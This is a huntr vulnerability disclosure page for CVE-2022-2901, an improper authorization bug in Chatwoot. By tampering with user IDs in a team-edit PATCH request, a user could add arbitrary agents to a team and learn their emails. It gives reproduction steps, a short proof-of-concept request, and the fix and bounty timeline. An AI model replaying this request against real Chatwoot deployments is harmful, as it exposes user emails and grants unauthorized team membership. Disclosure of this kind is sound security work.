huntr

Improper Authorization lead a user add an arbitrary agent into Team in chatwoot/chatwoot

0

✓ Valid Reported on Aug 15th 2022

Description

A Vulnerability in edit team function lead an user add another user via ID to Team, alternatively know the email of every user in Chatwoot
#Step to reproduce
login to the app -navigate to the Team setting: https://app.chatwoot.com/app/accounts/{id}/settings/teams/list -Create new or edit team -Add agent -> intercept request -modify userid, the response is the email of this user -add succesfullly

Proof of Concept

```
api: https://app.chatwoot.com/api/v1/accounts/{account.id}/teams/{team_id}/
request body: {"user_ids":[68250]}
method PATCH

Response
[{"id":68250,"account_id":74402,"availability_status":null,"auto_offline":
```

Impact

-add arbitrary users via ID to Team -know every user email in chatwoot

Chat with us

CVE

CVE-2022-2901
(Published)

Vulnerability Type

CWE-285: Improper Authorization

Severity

High (7.6)

Registry

Other

Affected Version

Newest

Visibility

Public

Status

Fixed

Found by

4rth4s

@baobaovt

amateur

Fixed by

Tejaswini Chile

@tejaswinichile

maintainer

This report was seen 604 times.

We are processing your report and will contact the **chatwoot** team within 24 hours. 3 months ago

We have contacted a member of the **chatwoot** team and are waiting to hear back 3 months ago

Sojan Jose validated this vulnerability 3 months ago

4rth4s has been awarded the disclosure bounty ✓

Chat with us

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the **chatwoot** team. We will try again in 7 days. 3 months ago

We have sent a second fix follow up to the **chatwoot** team. We will try again in 10 days. 3 months ago

Tejaswini Chile marked this as fixed in **2.8** with commit **329e8c** 3 months ago

Tejaswini Chile has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us